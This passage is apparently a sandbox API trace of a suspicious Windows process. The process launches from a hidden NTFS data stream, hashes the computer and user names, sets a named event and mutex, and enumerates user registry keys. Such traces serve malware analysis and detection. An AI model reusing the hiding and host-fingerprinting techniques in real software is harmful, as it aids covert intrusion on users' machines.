nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0140.475] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x20f7a8 | out: BaseAddress=0x20f7a8*=0x75cf0000) returned 0x0 [0140.478] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.478] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.478] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.478] FindClose (in: hFindFile=0x3a27d0 | out: hFindFile=0x3a27d0) returned 1 [0140.479] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin", pNumArgs=0x20f7d4 | out: pNumArgs=0x20f7d4) returned 0x3b3ac8*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin" [0140.479] LocalFree (hMem=0x3b3ac8) returned 0x0 [0140.479] Wow64DisableWow64FsRedirection (in: OldValue=0x20f7d0 | out: OldValue=0x20f7d0*=0x0) returned 1 [0140.479] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x800) returned 0x2167cf8 [0140.479] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2167cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ypqym2vs:bin")) returned 0x2e [0140.479] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x800) returned 0x2168500 [0140.479] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2168500, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ypqym2vs:bin")) returned 0x2e [0140.479] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.479] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.479] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x2168d08, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0140.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.479] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x226c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0140.479] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.479] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.479] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.479] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.479] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c240 [0140.479] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0140.479] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c900 [0140.479] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c948 [0140.480] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.480] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x100) returned 0x2168d08 [0140.480] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x2168d08, nSize=0x40 | out: lpBuffer="XDUWTFONO$") returned 0xa [0140.480] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2168d08) returned 1 [0140.480] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.480] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO$", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.480] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c990 [0140.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO$", cchWideChar=10, lpMultiByteStr=0x226c990, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO$", lpUsedDefaultChar=0x0) returned 10 [0140.480] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c9d8 [0140.480] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c990) returned 1 [0140.480] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.480] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c9d8) returned 1 [0140.480] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c9d8 [0140.480] CryptAcquireContextW (in: phProv=0x20f628, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f628*=0x3b3ac8) returned 1 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x184) returned 0x2168d08 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c990 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226ca20 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226ca68 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226cab0 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226caf8 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226cb40 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226cb88 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226cbd0 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2168eb0 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2168ef8 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2168f40 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2168f88 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2168fd0 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169018 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169060 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21690a8 [0140.481] CryptCreateHash (in: hProv=0x3b3ac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x20f628 | out: phHash=0x20f628) returned 1 [0140.481] CryptHashData (hHash=0x3a27d0, pbData=0x226c240, dwDataLen=0x16, dwFlags=0x0) returned 1 [0140.481] CryptGetHashParam (in: hHash=0x3a27d0, dwParam=0x4, pbData=0x20f62c, pdwDataLen=0x20f638, dwFlags=0x0 | out: pbData=0x20f62c, pdwDataLen=0x20f638) returned 1 [0140.481] CryptGetHashParam (in: hHash=0x3a27d0, dwParam=0x2, pbData=0x226c9d8, pdwDataLen=0x20f62c, dwFlags=0x0 | out: pbData=0x226c9d8, pdwDataLen=0x20f62c) returned 1 [0140.481] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21690f0 [0140.481] CryptDestroyHash (hHash=0x3a27d0) returned 1 [0140.481] CryptReleaseContext (hProv=0x3b3ac8, dwFlags=0x0) returned 1 [0140.481] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c9d8) returned 1 [0140.482] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c9d8 [0140.482] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169138 [0140.482] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c9d8) returned 1 [0140.482] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c9d8 [0140.482] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c9d8) returned 1 [0140.482] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169138) returned 1 [0140.482] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21690f0) returned 1 [0140.482] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21690f0 [0140.482] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{06C11002-99B9-5502-651C-628268B034F2}") returned 0x0 [0140.482] GetLastError () returned 0x2 [0140.482] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x5000) returned 0x2162850 [0140.482] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169138 [0140.482] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169138) returned 1 [0140.482] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0140.504] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2162850) returned 1 [0140.504] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3986b8, lpbSaclPresent=0x20f5f0, pSacl=0x20f644, lpbSaclDefaulted=0x20f5f0 | out: lpbSaclPresent=0x20f5f0, pSacl=0x20f644, lpbSaclDefaulted=0x20f5f0) returned 1 [0140.504] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169138 [0140.504] CreateEventA (lpEventAttributes=0x20f638, bManualReset=1, bInitialState=0, lpName="{06C11002-99B9-5502-651C-628268B034F2}") returned 0xf8 [0140.504] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169138) returned 1 [0140.504] GetLastError () returned 0x0 [0140.504] SetSecurityInfo () returned 0x0 [0140.508] LocalFree (hMem=0x3986b8) returned 0x0 [0140.508] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169138 [0140.508] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x5000) returned 0x2162850 [0140.508] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.508] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.508] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0140.509] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2162850) returned 1 [0140.509] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3986b8, lpbSaclPresent=0x20f5f0, pSacl=0x20f644, lpbSaclDefaulted=0x20f5f0 | out: lpbSaclPresent=0x20f5f0, pSacl=0x20f644, lpbSaclDefaulted=0x20f5f0) returned 1 [0140.509] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.509] CreateEventA (lpEventAttributes=0x20f638, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0140.509] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.509] GetLastError () returned 0x0 [0140.509] LocalFree (hMem=0x3986b8) returned 0x0 [0140.509] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.509] CryptAcquireContextW (in: phProv=0x20f628, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f628*=0x3b3fa0) returned 1 [0140.510] CryptCreateHash (in: hProv=0x3b3fa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x20f628 | out: phHash=0x20f628) returned 1 [0140.510] CryptHashData (hHash=0x3a27d0, pbData=0x226c240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0140.510] CryptGetHashParam (in: hHash=0x3a27d0, dwParam=0x4, pbData=0x20f62c, pdwDataLen=0x20f638, dwFlags=0x0 | out: pbData=0x20f62c, pdwDataLen=0x20f638) returned 1 [0140.510] CryptGetHashParam (in: hHash=0x3a27d0, dwParam=0x2, pbData=0x2169180, pdwDataLen=0x20f62c, dwFlags=0x0 | out: pbData=0x2169180, pdwDataLen=0x20f62c) returned 1 [0140.510] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21691c8 [0140.510] CryptDestroyHash (hHash=0x3a27d0) returned 1 [0140.510] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.510] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.510] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.510] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169210 [0140.510] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.510] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.510] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.510] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169210) returned 1 [0140.510] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21691c8) returned 1 [0140.510] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21691c8 [0140.510] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169210 [0140.510] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0140.510] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169210) returned 1 [0140.510] GetLastError () returned 0x5 [0140.510] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169210 [0140.510] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0140.510] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169210) returned 1 [0140.510] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169210 [0140.511] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0140.511] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169210) returned 1 [0140.511] ReleaseMutex (hMutex=0x0) returned 0 [0140.511] GetLastError () returned 0x6 [0140.511] SetEvent (hEvent=0xf8) returned 1 [0140.512] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x800) returned 0x2162850 [0140.512] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169210 [0140.512] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.512] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x280) returned 0x2163058 [0140.512] SHRegDuplicateHKey (hkey=0x80000001) returned 0x80000001 [0140.519] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x0, lpName=0x2163058, cchName=0x104 | out: lpName="AppEvents") returned 0x0 [0140.519] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.519] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x2169180, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appevents", lpUsedDefaultChar=0x0) returned 9 [0140.519] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.519] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.519] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.519] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.519] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x1, lpName=0x2163058, cchName=0x104 | out: lpName="Console") returned 0x0 [0140.519] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.520] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x2169258, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="console", lpUsedDefaultChar=0x0) returned 7 [0140.520] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.520] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.520] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.520] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.520] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x2, lpName=0x2163058, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0140.520] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.520] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x2169180, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0140.520] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.520] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.520] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.520] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.520] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x3, lpName=0x2163058, cchName=0x104 | out: lpName="Environment") returned 0x0 [0140.520] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.520] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x2169258, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="environment", lpUsedDefaultChar=0x0) returned 11 [0140.520] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.520] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.520] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.520] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.520] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x4, lpName=0x2163058, cchName=0x104 | out: lpName="EUDC") returned 0x0 [0140.520] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0140.520] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x2169180, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eudc", lpUsedDefaultChar=0x0) returned 4 [0140.520] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.520] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.520] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.520] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.520] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x5, lpName=0x2163058, cchName=0x104 | out: lpName="Identities") returned 0x0 [0140.521] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.521] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x2169258, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identities", lpUsedDefaultChar=0x0) returned 10 [0140.521] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.521] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.521] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.521] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.521] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x6, lpName=0x2163058, cchName=0x104 | out: lpName="Keyboard Layout") returned 0x0 [0140.521] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.521] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x2169180, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard layout", lpUsedDefaultChar=0x0) returned 15 [0140.521] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.521] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.521] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.521] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.521] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x7, lpName=0x2163058, cchName=0x104 | out: lpName="Network") returned 0x0 [0140.521] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.521] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x2169258, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0140.521] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.521] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.522] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.522] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.522] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x8, lpName=0x2163058, cchName=0x104 | out: lpName="Printers") returned 0x0 [0140.522] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.522] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x2169180, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="printers", lpUsedDefaultChar=0x0) returned 8 [0140.522] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.522] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.522] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.522] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.522] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x9, 